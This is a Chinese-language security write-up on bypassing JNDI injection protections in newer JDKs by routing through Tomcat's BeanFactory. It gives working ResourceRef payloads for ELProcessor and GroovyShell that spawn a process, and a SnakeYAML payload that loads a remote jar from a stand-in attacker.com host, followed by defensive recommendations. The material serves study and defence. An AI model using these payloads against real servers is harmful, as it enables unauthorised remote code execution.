高版本 JNDI 限制 Bypass:攻击路径挖掘与利用
字数 1525 2025-08-29 08:30:13
高版本JNDI限制Bypass:攻击路径挖掘与利用技术分析
前言
JNDI (Java Naming and Directory Interface) 漏洞是Java框架中一个非常有效的远程代码执行(RCE)漏洞。随着JDK版本的提高,Oracle对JNDI注入漏洞实施了一系列防护措施,特别是在高版本JDK中限制了远程类的加载。本文将详细分析高版本JDK下的JNDI利用绕过技术。
高版本JNDI限制分析
在JDK高版本中,主要的限制体现在javax.naming.spi.NamingManager#getObjectInstance方法中:
- 禁止从远程代码库加载类
- 限制了可实例化的对象类型
传统利用方式如直接加载远程恶意类已不再可行,因此需要寻找新的攻击路径。
绕过原理与技术路线
核心绕过思路
利用工厂类的getObjectInstance方法作为跳板,寻找可以间接执行代码的途径。关键点在于:
- 找到一个可利用的工厂类
- 该工厂类的
getObjectInstance方法存在可利用的逻辑 - 能够通过参数控制执行流程
关键类:BeanFactory
BeanFactory成为高版本绕过的重要突破口,其getObjectInstance方法的工作流程如下:
- 检查传入的
obj是否为ResourceRef类型 - 获取目标类并进行加载和实例化
- 解析
forceString属性- 查找setter方法
- 将显式指定的setter方法存入forced映射
- 遍历调用setter方法
利用点:通过控制setter方法的调用,可以间接执行恶意代码,且这些setter方法只能接受String类型的参数。
具体利用技术
1. ELProcessor利用
目标类:javax.el.ELProcessor
可利用方法:
public Object eval(String expression)
利用条件:
- 可以执行EL表达式
- 只需要传入String参数
POC示例:
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
调用栈:
BeanFactory.getObjectInstance()ELProcessor.eval()- 执行EL表达式弹出计算器
2. GroovyShell利用
目标类:groovy.lang.GroovyShell
可利用方法:
public Object evaluate(String script)
利用条件:
- 可以执行Groovy代码
- 只需要传入String参数
POC示例:
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
ref.add(new StringRefAddr("x", "''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"calc\"]).start()')"));
调用栈:
BeanFactory.getObjectInstance()GroovyShell.evaluate()- 执行Groovy代码弹出计算器
3. SnakeYAML利用
目标类:org.yaml.snakeyaml.Yaml
可利用方法:
public Object load(String yaml)
利用条件:
- 需要SnakeYAML库存在
- 可以利用YAML反序列化漏洞
- 只需要传入String参数
POC示例:
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=load"));
ref.add(new StringRefAddr("x", "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://attacker.com/yaml-payload.jar\"]]]]"));
验证方式:
可以通过DNS查询验证漏洞是否存在,观察是否有DNS查询请求发出。
防御建议
- 升级JDK:使用最新版本的JDK,并确保安全补丁已应用
- 输入验证:对所有JNDI查找输入进行严格验证
- 安全配置:
- 设置
com.sun.jndi.rmi.object.trustURLCodebase=false - 设置
com.sun.jndi.cosnaming.object.trustURLCodebase=false
- 设置
- 最小权限原则:限制应用程序的运行权限
- 依赖管理:移除不必要的依赖,特别是SnakeYAML等可能被利用的库
总结
高版本JDK下JNDI注入的利用虽然受到限制,但通过精心构造的攻击链仍然可以实现RCE。本文详细分析了三种有效的绕过技术,安全团队应充分了解这些攻击技术以构建更完善的防御体系。